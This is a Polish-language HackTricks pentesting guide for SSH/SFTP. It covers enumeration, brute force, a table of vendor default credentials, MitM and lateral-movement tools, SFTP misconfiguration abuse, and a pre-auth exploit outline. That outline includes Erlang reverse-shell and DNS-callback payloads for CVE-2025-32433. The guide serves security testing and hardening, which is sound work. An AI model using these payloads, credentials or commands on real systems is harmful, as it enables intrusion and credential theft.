# 22 - Pentesting SSH/SFTP {{#include ../banners/hacktricks-training.md}} ## Basic Information **SSH (Secure Shell or Secure Socket Shell)** to protokół sieciowy, który umożliwia bezpieczne połączenie z komputerem przez niechronioną sieć. Jest niezbędny do zachowania poufności i integralności danych podczas uzyskiwania dostępu do systemów zdalnych. **Domyślny port:** 22 ``` 22/tcp open ssh syn-ack ``` **Serwery SSH:** - [openSSH](http://www.openssh.org) – OpenBSD SSH, dostarczany w BSD, dystrybucjach Linuksa oraz Windows od Windows 10 - [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – implementacja SSH dla środowisk o ograniczonej pamięci i mocy procesora, dostarczana w OpenWrt - [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) – implementacja SSH dla Windows; klient jest powszechnie używany, natomiast użycie serwera jest rzadsze - [CopSSH](https://www.itefix.net/copssh) – implementacja OpenSSH dla Windows **Biblioteki SSH (implementujące część serwerową):** - [libssh](https://www.libssh.org) – wieloplatformowa biblioteka w C implementująca protokół SSHv2 z bindingami w [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) i [R](https://github.com/ropensci/ssh); jest używana przez KDE do sftp oraz przez GitHub w infrastrukturze git SSH - [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – biblioteka serwerowa SSHv2 napisana w ANSI C, przeznaczona dla systemów embedded, RTOS i środowisk o ograniczonych zasobach - [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – biblioteka Apache SSHD w Java oparta na Apache MINA - [paramiko](https://github.com/paramiko/paramiko) – biblioteka protokołu SSHv2 dla Pythona ## Enumeration ### Banner Grabbing ```bash nc -vn 22 ``` ### Automatyczne ssh-audit ssh-audit to narzędzie do audytu konfiguracji serwera i klienta ssh. [https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) to zaktualizowany fork z [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/) **Funkcje:** - Obsługa serwera protokołu SSH1 i SSH2; - analiza konfiguracji klienta SSH; - pobiera banner, rozpoznaje urządzenie lub oprogramowanie i system operacyjny, wykrywa kompresję; - zbiera algorytmy key-exchange, host-key, encryption i message authentication code; - wyświetla informacje o algorytmach (available since, removed/disabled, unsafe/weak/legacy, etc); - wyświetla rekomendacje dotyczące algorytmów (append or remove based on recognized software version); - wyświetla informacje o bezpieczeństwie (related issues, assigned CVE list, etc); - analizuje kompatybilność wersji SSH na podstawie informacji o algorytmach; - informacje historyczne z OpenSSH, Dropbear SSH i libssh; - działa na Linux i Windows; - brak zależności ```bash usage: ssh-audit.py [-1246pbcnjvlt] -1, --ssh1 force ssh version 1 only -2, --ssh2 force ssh version 2 only -4, --ipv4 enable IPv4 (order of precedence) -6, --ipv6 enable IPv6 (order of precedence) -p, --port= port to connect -b, --batch batch output -c, --client-audit starts a server on port 2222 to audit client software config (use -p to change port; use -t to change timeout) -n, --no-colors disable colors -j, --json JSON output -v, --verbose verbose output -l, --level= minimum output level (info|warn|fail) -t, --timeout= timeout (in seconds) for connection and reading (default: 5) $ python3 ssh-audit ``` [See it in action (Asciinema)](https://asciinema.org/a/96ejZKxpbuupTK9j7h8BdClzp) ### Publiczny klucz SSH serwera ```bash ssh-keyscan -t rsa -p ``` ### Słabe algorytmy szyfrujące Jest to wykrywane domyślnie przez **nmap**. Możesz też użyć **sslcan** lub **sslyze**. ### Nmap scripts ```bash nmap -p22 -sC # Send default nmap scripts for SSH nmap -p22 -sV # Retrieve version nmap -p22 --script ssh2-enum-algos # Retrieve supported algorythms nmap -p22 --script ssh-hostkey --script-args ssh_hostkey=full # Retrieve weak keys nmap -p22 --script ssh-auth-methods --script-args="ssh.user=root" # Check authentication methods ``` ### Shodan - `ssh` ## Brute force usernames, passwords and private keys ### Username Enumeration W niektórych wersjach OpenSSH można przeprowadzić timing attack w celu enumerate users. Można użyć modułu metasploit, aby to wykorzystać: ``` msf> use scanner/ssh/ssh_enumusers ``` ### [Brute force](../generic-hacking/brute-force.md#ssh) Kilka powszechnych poświadczeń ssh [here ](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt) i [here](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt) oraz poniżej. ### Private Key Brute Force Jeśli znasz jakieś ssh private keys, które mogłyby zostać użyte... spróbujmy. Możesz użyć skryptu nmap: ``` https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html ``` Lub MSF auxiliary module: ``` msf> use scanner/ssh/ssh_identify_pubkeys ``` Albo użyj `ssh-keybrute.py` (natywne python3, lekkie i z włączonymi starszymi algorytmami): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). #### Znane badkeys można znaleźć tutaj: {{#ref}} https://github.com/rapid7/ssh-badkeys/tree/master/authorized {{#endref}} #### Słabe klucze SSH / przewidywalny PRNG Debiana Niektóre systemy mają znane błędy w ziarnie losowym używanym do generowania materiału kryptograficznego. Może to skutkować znacznym zmniejszeniem przestrzeni kluczy, którą można złamać metodą brute-force. Wstępnie wygenerowane zestawy kluczy pochodzących z systemów Debian dotkniętych słabym PRNG są dostępne tutaj: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh). Zajrzyj tutaj, aby wyszukać poprawne klucze dla maszyny ofiary. ### Kerberos / GSSAPI SSO Jeśli docelowy serwer SSH obsługuje GSSAPI (np. Windows OpenSSH na domain controller), możesz uwierzytelnić się przy użyciu swojego Kerberos TGT zamiast hasła. Przebieg na hoście atakującego z systemem Linux: ```bash # 1) Ensure time is in sync with the KDC to avoid KRB_AP_ERR_SKEW sudo ntpdate # 2) Generate a krb5.conf for the target realm (optional, but handy) netexec smb -u -p '' -k --generate-krb5-file krb5.conf sudo cp krb5.conf /etc/krb5.conf # 3) Obtain a TGT for the user kinit klist # 4) SSH with GSSAPI, using the FQDN that matches the host SPN ssh -o GSSAPIAuthentication=yes @ ``` Notes: - Jeśli połączysz się pod błędną nazwą (np. krótką nazwą hosta, aliasem lub w złej kolejności w `/etc/hosts`), możesz otrzymać: "Server not found in Kerberos database", ponieważ SPN nie pasuje. - `crackmapexec ssh --kerberos` może również użyć twojego ccache do uwierzytelniania Kerberos. ## Domyślne dane logowania | **Vendor** | **Usernames** | **Passwords** | | ---------- | ----------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | APC | apc, device | apc | | Brocade | admin | admin123, password, brocade, fibranne | | Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme | | Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler | | D-Link | admin, user | private, admin, user | | Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin | | EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc | | HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin | | Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 | | IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer | | Juniper | netscreen | netscreen | | NetApp | admin | netapp123 | | Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle | | VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default | ## SSH-MitM Jeśli znajdujesz się w lokalnej sieci razem z ofiarą, która ma się połączyć z serwerem SSH używając nazwy użytkownika i hasła, możesz spróbować **wykonać atak MitM w celu przechwycenia tych poświadczeń:** **Ścieżka ataku:** - **Przekierowanie ruchu:** Atakujący **przekierowuje** ruch ofiary na swoją maszynę, skutecznie **przechwytując** próbę połączenia z serwerem SSH. - **Przechwytywanie i logowanie:** Maszyna atakującego działa jako **proxy**, **rejestrując** dane logowania użytkownika poprzez podszywanie się pod prawdziwy serwer SSH. - **Wykonywanie poleceń i relaying:** Na koniec serwer atakującego **zapisuje poświadczenia użytkownika**, **przekazuje polecenia** do prawdziwego serwera SSH, **wykonuje** je i **odsyła wyniki** z powrotem do użytkownika, sprawiając, że proces wygląda płynnie i legalnie. [**SSH MITM**](https://github.com/jtesta/ssh-mitm) robi dokładnie to, co opisano powyżej. Aby przeprowadzić rzeczywisty MitM, możesz użyć technik takich jak ARP spoofing, DNS spoofin lub innych opisanych w [**Network Spoofing attacks**](../generic-methodologies-and-resources/pentesting-network/index.html#spoofing). ## SSH-Snake Jeśli chcesz przemieszczać się po sieci wykorzystując odnalezione prywatne klucze SSH na systemach, używając każdego klucza prywatnego na każdym systemie do łączenia się z nowymi hostami, to [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) jest tym, czego potrzebujesz. SSH-Snake wykonuje automatycznie i rekurencyjnie następujące zadania: 1. Na bieżącym systemie znajduj wszystkie prywatne klucze SSH, 2. Na bieżącym systemie znajdź wszystkie hosty lub destynacje (user@host), gdzie prywatne klucze mogą być akceptowane, 3. Spróbuj połączyć się przez SSH ze wszystkimi destynacjami używając wszystkich odnalezionych prywatnych kluczy, 4. Jeśli połączenie z destynacją powiedzie się, powtórz kroki #1 - #4 na połączonym systemie. Jest całkowicie samoreplikujący się i samorozprzestrzeniający — oraz całkowicie bezplikowy. ## Błędy konfiguracji ### Logowanie jako root Często serwery SSH domyślnie pozwalają na logowanie użytkownika root, co stanowi poważne ryzyko bezpieczeństwa. **Wyłączenie logowania jako root** jest krytycznym krokiem w zabezpieczaniu serwera. Nieautoryzowany dostęp z uprawnieniami administracyjnymi oraz ataki brute force można zredukować poprzez wprowadzenie tej zmiany. **Aby wyłączyć logowanie roota w OpenSSH:** 1. **Edytuj plik konfiguracyjny SSH** poleceniem: `sudoedit /etc/ssh/sshd_config` 2. **Zmień ustawienie** z `#PermitRootLogin yes` na **`PermitRootLogin no`**. 3. **Przeładuj konfigurację** używając: `sudo systemctl daemon-reload` 4. **Zrestartuj serwer SSH**, aby zastosować zmiany: `sudo systemctl restart sshd` ### SFTP Brute Force - [**SFTP Brute Force**](../generic-hacking/brute-force.md#sftp) ### Wykonywanie poleceń przez SFTP Częstym przeoczeniem w konfiguracjach SFTP jest sytuacja, gdy administratorzy chcą, aby użytkownicy wymieniali pliki bez udostępniania dostępu do zdalnej powłoki. Pomimo ustawienia użytkowników z powłokami nieinteraktywnymi (np. `/usr/bin/nologin`) i ograniczenia ich do określonego katalogu, istnieje luka bezpieczeństwa. **Użytkownicy mogą obejść te ograniczenia** żądając wykonania polecenia (np. `/bin/bash`) zaraz po zalogowaniu, zanim zacznie obowiązywać ich przypisana nieinteraktywna powłoka. To pozwala na nieautoryzowane wykonanie poleceń, podważając zamierzone zabezpieczenia. [Example from here](https://community.turgensec.com/ssh-hacking-guide/): ```bash ssh -v noraj@192.168.1.94 id ... Password: debug1: Authentication succeeded (keyboard-interactive). Authenticated to 192.168.1.94 ([192.168.1.94]:22). debug1: channel 0: new [client-session] debug1: Requesting no-more-sessions@openssh.com debug1: Entering interactive session. debug1: pledge: network debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0 debug1: Sending command: id debug1: client_input_channel_req: channel 0 rtype exit-status reply 0 debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0 uid=1000(noraj) gid=100(users) groups=100(users) debug1: channel 0: free: client-session, nchannels 1 Transferred: sent 2412, received 2480 bytes, in 0.1 seconds Bytes per second: sent 43133.4, received 44349.5 debug1: Exit status 0 $ ssh noraj@192.168.1.94 /bin/bash ``` Oto przykład bezpiecznej konfiguracji SFTP (`/etc/ssh/sshd_config` – openSSH) dla użytkownika `noraj`: ``` Match User noraj ChrootDirectory %h ForceCommand internal-sftp AllowTcpForwarding no PermitTunnel no X11Forwarding no PermitTTY no ``` Ta konfiguracja pozwoli jedynie na SFTP: wyłącza dostęp do powłoki przez wymuszenie komendy start i wyłączenie dostępu TTY, a także blokuje wszelkie rodzaje port forwarding oraz tunneling. ### SFTP Tunneling Jeśli masz dostęp do serwera SFTP, możesz także tunelować swój ruch przez niego, na przykład używając powszechnego port forwarding: ```bash sudo ssh -L :: -N -f @ ``` ### SFTP Symlink Klient **sftp** ma polecenie "**symlink**". Dlatego, jeśli masz **uprawnienia zapisu** w jakimś folderze, możesz tworzyć **symlinks** innych folderów/plików. Ponieważ prawdopodobnie jesteś **uwięziony** w chroot, to **nie będzie to dla Ciebie specjalnie przydatne**, ale jeśli możesz **uzyskać dostęp** do utworzonego **symlink** z **no-chroot** **service** (na przykład, jeśli możesz uzyskać dostęp do symlinka z sieci), możesz **open the symlinked files through the web**. For example, to create a **symlink** from a new file **"**_**froot**_**" to "**_**/**_**"**: ```bash sftp> symlink / froot ``` Jeśli możesz uzyskać dostęp do pliku "_froot_" przez web, będziesz mógł wyświetlić zawartość katalogu root ("/") systemu. ### Metody uwierzytelniania W środowiskach o wysokim poziomie bezpieczeństwa powszechną praktyką jest włączenie tylko uwierzytelniania opartego na kluczach lub uwierzytelniania dwuskładnikowego zamiast prostego uwierzytelniania opartego na haśle. Często jednak silniejsze metody uwierzytelniania są włączane bez wyłączania słabszych. Częstym przypadkiem jest włączenie `publickey` w konfiguracji openSSH i ustawienie jej jako metody domyślnej, ale nie wyłączenie `password`. Dlatego używając trybu verbose klienta SSH, atakujący może zobaczyć, że słabsza metoda jest włączona: ```bash ssh -v 192.168.1.94 OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019 ... debug1: Authentications that can continue: publickey,password,keyboard-interactive ``` Na przykład, jeśli ustawiono limit nieudanych uwierzytelnień i nigdy nie dojdziesz do metody password, możesz użyć opcji `PreferredAuthentications`, aby wymusić użycie tej metody. ```bash ssh -v 192.168.1.94 -o PreferredAuthentications=password ... debug1: Next authentication method: password ``` Przegląd konfiguracji serwera SSH jest konieczny, aby upewnić się, że autoryzowane są tylko oczekiwane metody. Użycie trybu verbose po stronie klienta może pomóc zobaczyć skuteczność konfiguracji. ### Pliki konfiguracyjne ```bash ssh_config sshd_config authorized_keys ssh_known_hosts known_hosts id_rsa ``` ## Fuzzing - [https://packetstormsecurity.com/files/download/71252/sshfuzz.txt](https://packetstormsecurity.com/files/download/71252/sshfuzz.txt) - [https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2](https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2) ## Authentication State-Machine Bypass (Pre-Auth RCE) Wiele implementacji serwerów SSH zawiera błędy logiczne w **authentication finite-state machine**, które pozwalają klientowi wysyłać *connection-protocol* wiadomości **przed** zakończeniem uwierzytelniania. Ponieważ serwer nie weryfikuje, czy znajduje się we właściwym stanie, wiadomości te są obsługiwane tak, jakby użytkownik był w pełni uwierzytelniony, co prowadzi do **nieuwierzytelnionego wykonania kodu** lub utworzenia sesji. Na poziomie protokołu każda wiadomość SSH z _message code_ **≥ 80** (0x50) należy do warstwy *connection* (RFC 4254) i powinna być **akceptowana tylko po pomyślnym uwierzytelnieniu** (RFC 4252). Jeśli serwer przetworzy jedną z tych wiadomości będąc nadal w stanie *SSH_AUTHENTICATION*, atakujący może natychmiast utworzyć kanał i zażądać operacji takich jak command execution, port-forwarding, itp. ### Generic Exploitation Steps 1. Nawiąż połączenie TCP z portem SSH celu (zwykle 22, ale inne usługi mogą wystawiać Erlang/OTP na 2022, 830, 2222…). 2. Sporządź surowy pakiet SSH: * 4-byte **packet_length** (big-endian) * 1-byte **message_code** ≥ 80 (e.g. `SSH_MSG_CHANNEL_OPEN` = 90, `SSH_MSG_CHANNEL_REQUEST` = 98) * Payload, który będzie zrozumiały dla wybranego typu wiadomości 3. Wyślij pakiet(y) **przed ukończeniem jakiegokolwiek kroku uwierzytelniania**. 4. Wchodź w interakcję z API serwera, które są teraz dostępne _pre-auth_ (command execution, port forwarding, file-system access, …). Python proof-of-concept outline: ```python import socket, struct HOST, PORT = '10.10.10.10', 22 s = socket.create_connection((HOST, PORT)) # skip version exchange for brevity – send your own client banner then read server banner # … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner # Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90) pkt = struct.pack('>I', 1) + b'\x5a' # 0x5a = 90 s.sendall(pkt) # additional CHANNEL_REQUEST packets can follow to run commands ``` W praktyce będziesz musiał wykonać (lub pominąć) key-exchange zgodnie z implementacją celu, ale **no authentication** nigdy nie jest wykonywana. --- ### Erlang/OTP `sshd` (CVE-2025-32433) * **Dotknięte wersje:** OTP < 27.3.3, 26.2.5.11, 25.3.2.20 * **Przyczyna:** natywny daemon SSH Erlang nie weryfikuje bieżącego stanu przed wywołaniem `ssh_connection:handle_msg/2`. W związku z tym dowolny pakiet z kodem wiadomości 80-255 trafia do handlera połączenia, podczas gdy sesja nadal znajduje się w stanie *userauth*. * **Wpływ:** nieautoryzowane **remote code execution** (daemon zazwyczaj działa jako **root** na urządzeniach embedded/OT). Przykładowy payload, który uruchamia reverse shell powiązany z kanałem kontrolowanym przez atakującego: ```erlang % open a channel first … then: execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}])."). ``` Blind RCE / wykrywanie out-of-band można przeprowadzić za pomocą DNS: ```erlang execSinet:gethostbyname(".dns.outbound.watchtowr.com").Zsession ``` Wykrywanie i łagodzenie: * Monitoruj ruch SSH: **odrzucaj każdy pakiet z kodem komunikatu ≥ 80 wykryty przed uwierzytelnieniem**. * Zaktualizuj Erlang/OTP do **27.3.3 / 26.2.5.11 / 25.3.2.20** lub nowszej. * Ogranicz ekspozycję portów zarządzania (22/2022/830/2222) – szczególnie na urządzeniach OT. --- ### Inne dotknięte implementacje * **libssh** 0.6 – 0.8 (po stronie serwera) – **CVE-2018-10933** – akceptuje nieuwierzytelnione `SSH_MSG_USERAUTH_SUCCESS` wysłane przez klienta, w praktyce będąc odwrotnym błędem logiki. Wspólna lekcja jest taka, że każde odstępstwo od przejść stanów narzuconych przez RFC może być krytyczne; podczas przeglądu lub fuzzingu daemonów SSH zwróć szczególną uwagę na *egzekwowanie maszyny stanów*. ## Źródła - [Unit 42 – Erlang/OTP SSH CVE-2025-32433](https://unit42.paloaltonetworks.com/erlang-otp-cve-2025-32433/) - [SSH hardening guides](https://www.ssh-audit.com/hardening_guides.html) - [Turgensec SSH hacking guide](https://community.turgensec.com/ssh-hacking-guide) - [Pentesting Kerberos (88) – client setup and troubleshooting](pentesting-kerberos-88/README.md) - [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html) ## Automatyczne polecenia HackTricks ``` Protocol_Name: SSH Port_Number: 22 Protocol_Description: Secure Shell Hardening Entry_1: Name: Hydra Brute Force Description: Need Username Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 {IP} ssh Entry_2: Name: consolesless mfs enumeration Description: SSH enumeration without the need to run msfconsole Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit' ``` {{#include ../banners/hacktricks-training.md}}